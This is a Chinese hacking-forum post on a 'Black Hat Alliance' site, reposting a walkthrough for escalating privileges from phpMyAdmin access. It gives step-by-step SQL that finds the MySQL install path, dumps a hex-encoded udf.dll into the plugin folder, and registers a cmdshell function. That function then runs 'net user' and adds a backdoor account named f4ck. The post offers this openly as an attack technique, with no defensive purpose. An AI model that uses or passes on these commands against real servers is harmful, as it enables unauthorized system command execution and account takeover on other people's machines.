黑帽联盟

 找回密码
 会员注册
查看: 1066|回复: 0

[系统安全] myadmin不需要路劲提权之法

[复制链接]
yun 黑帽联盟官方人员 

920

主题

37

听众

1364

积分

超级版主

Rank: 8Rank: 8

  • TA的每日心情
    奋斗
    2019-10-18 11:20
  • 签到天数: 678 天

    [LV.9]以坛为家II

    觉得很典型的案例,就转载过来了。很多时候phpmyadmin都需要路劲才能写shell。否则拿到了myadmin也是无奈。

    查看mysql版本
    select version();
    21.png

    版本是5.1
    大家都知道mysql udf提权  5.0以下的要导出到c:\windows\或者c:\windows\system32目录下  
    而5.1必须要导出到mysql安装目录下的lib\plugin目录下  我们怎么知道Mysql安装目录呢?
    执行
    select @@basedir;
    22.png
    得出mysql安装路径
    C:\PHPnow-1.5.6\MySQL-5.1.50\
    由于是mysql版本5.1的 所以要导出到C:\PHPnow-1.5.6\MySQL-5.1.50\lib\plugin目录下
    然后执行
    CREATE TABLE udftest(udf BLOB);  //创建一个临时表

    然后把udf.dll转换为hex代码 然后插到这个表里面
    执行SQL:
    INSERT into udftest values (CONVERT(这里换成你的UDF的HEX编码,CHAR));
    然后导出udf
    SELECT udf FROM udftest INTO DUMPFILE 'C:\\PHPnow-1.5.6\\MySQL-5.1.50\\lib\\plugin\\udf.dll';--
    这里后面一定要带--的注释符否则会不成功!我在这里纠结了半个小时,还好有百度 --!
    24.png

    导出成功了 删除掉临时表
    执行DROP TABLE udftest;
    然后创建CMDSHELL函数
    create function cmdshell returns string soname 'udf.dll'
    25.png


    然后执行
    select cmdshell('net user');
    你会发现不回显内容,只需把那个显示BLOB内容勾选上九OK了
    26.png


    看一下效果。
    27.png

    乱码不用管,直接添加个用户试试
    select cmdshell('net user f4ck 123456 /add');
    28.png

    OK,我们来看一下加上去了没有。
    29.png


    您需要登录后才可以回帖 登录 | 会员注册

    发布主题 !fastreply! 收藏帖子 返回列表 搜索
    回顶部